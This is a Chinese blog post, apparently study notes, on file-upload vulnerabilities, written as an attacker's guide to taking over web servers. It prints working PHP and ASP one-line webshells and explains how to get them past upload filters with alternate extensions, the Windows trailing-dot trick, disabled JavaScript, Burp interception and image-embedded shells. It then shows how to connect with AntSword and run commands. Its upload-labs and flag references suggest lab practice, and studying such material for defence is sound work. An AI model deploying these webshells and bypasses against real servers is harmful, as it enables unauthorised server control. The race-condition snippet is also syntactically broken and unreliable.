文件上传
文件上传
一、定义:#
1.文件上传的定义#
1.文件上传漏洞是指利用程序提供的文件上传功能,上传当前中间件可执行的脚本文件。比如tomcat就上传jsp文件等。
2.其实文件上传不是你能把脚本文件传上去就成功了,你还得知道其上传到的位置,还需要上传到的目录允许执行,否则传了上去也没法利用。
3.文件上传是为了控制服务器,所以传的要么是小马要么是大马。
所谓小马,就是一句话木马。能做为木马的单条代码,要么具有能动态执行语句的函数,要么具有能调用系统命令的函数。小马需要客户端给小马指定要执行什么命令,最经典的小马客户端应该是中国菜刀。
2.文件包含的定义#
1.文件包含是指当前脚本文件可通过include等函数,导入其他文件的代码到本文件引发的漏洞。
2.如果“其他文件”可以是本地文件(本机上的文件)那就是本地文件包含漏洞,如果“其他文件”可以远程文件(其他机器上的文件)那就是远程文件包含漏洞。也就是说这两种漏洞产生的位置是一样的,只是因为利用形式不同才把他们区分开来。
3.什么是web shell?#
1.web就是服务器的web服务
2.shell是人机交互界面
3.web shell的含义就是拿到网站的服务器权限,而木马可以帮助我们拿到web shell
4.什么是菜刀?#
1.从木马原理可以看出,木马就像一个间谍,而戒碟需要执行任务,发这个任务的“人”就是菜刀,菜刀需要接收间谍的信息
2.拥有菜刀能力的软件有:蚁剑,中国菜刀,冰蝎等
二、文件上传#
木马原理——“一句话木马”#
' ASP一句话
<% eval request("text") %>
' eval是执行
' request是从用户那里得到的信息
' text是用户上传的文件
' 连起来就是执行从用户那里上传的文件
php一句话木马
<?php @eval($_POST['margin']);?> #@符号表示后面的语句即使执行错误,也不报错。
<?php eval($_GET['a'])?>
<?php eval($_REQUEST[a]);?>
<script language='php'>eval($_REQUEST[shell]);</script>
https://blog.csdn.net/swmmbswzy/article/details/128024918
大马和小马分别是什么?#
木马根据特点的不同分为大马和小马,大马功能多但不容易上传,小马功能少但容易上传,所以一般小马的作用就是“上传大马”
上传木马的前提是什么?#
1.可以使用eval等执行函数
2.或者存在文件包含漏洞
通过上传<?php phpinfo();?>
查看目标服务器相关配置
例如:
是否可以执行eval()函数
disable_function
1.“寻找上传点”#
找到一个可以上传文件的地方,比如这里的 “产品图片” 可以上传文件
2.“记录木马地址”#
只有知道木马的地址,才能让菜刀联系到木马
3.“解决报错”#
可能的报错有:文件格式不正确、文件太小等
解决方法:
1.转换同类格式,比如asp转cer。或者隐写术,在图片中隐藏木马等,对于文件小的问题只要随意填写内容增大文件即可。
2.其他方法还有JavaScript绕过,直接在浏览器页面输入about : config来到高级设置页面找到JavaScript . enabled改为false
图片马(隐写术)
关于隐写术:需要照一张尽可能小的图片,比如QQ表情。在文件目录输入 c m d 打开终端
输入指令copy 图片名/b+木马文件 新文件名
或者直接手动构建图片头(防止对图片头进行了校验):GIF89a
拓展名过滤
限制黑名单:php,asp,aspx,jsp
可以修改后缀为:phtml,php3,php4, php5, pht等绕过
前提是apache的httpd.conf中有如下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
扩展后缀被禁用时,我们还可以传一个2.php.a这样的文件
apache解析顺序是从右到左,解析.a时,解析不了,则会向前解析,解析.php
前端js过滤
出现前端的提示,推测限制在js代码中
火狐插件Disable JavaScript将js在本地关闭即可绕过
绕过方法:
①删除或者禁用js:火狐浏览器-->about:config-->JavaScriptenable-false (ajax)
②使用代理上传文件,Burp Suite;上传符合要求的文件类型,抓包修改文件类型。
删除js绕过:
直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可(以upload-labs Pass-01举例):
windows点号绕过
Windows特性,在文件名结尾加点号“.”绕过禁止上传所有可以解析的后缀
例如:
//以下为关键代码
<?php
$deny_ext =array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".htaccess");//等
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if(!in_array($file_ext, $deny_ext))
?>
由代码看出:上传的文件名会被截取后缀,并转换成小写,但是没有去除点号,所以只要在文件名后缀的后面再加一个点号,他就只能截取一个点号,而且文件后加点号并不影响文件执行
上传a.php.
文件内容过滤
php标签<? 过滤
使用<script language='php'>eval($_REQUEST[shell]);</script>
或者:<% eval request("text") %>
关键字“php”过滤
php短标签绕过:(前提是需要在php.ini配置中开启short_open_tag选项)
<?= eval($_REQUEST[shell]); ?>
4.“连接菜刀”#
打开蚁剑AntSword,输入秘钥连接目标服务器
或者,直接在页面传递参数:
例如:shell=system('cat /flag');
5.其他#
条件竞争#
fputs(fopen('../shell.php'),'w'),'<?php @eval($_REQUEST[a])?>');
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!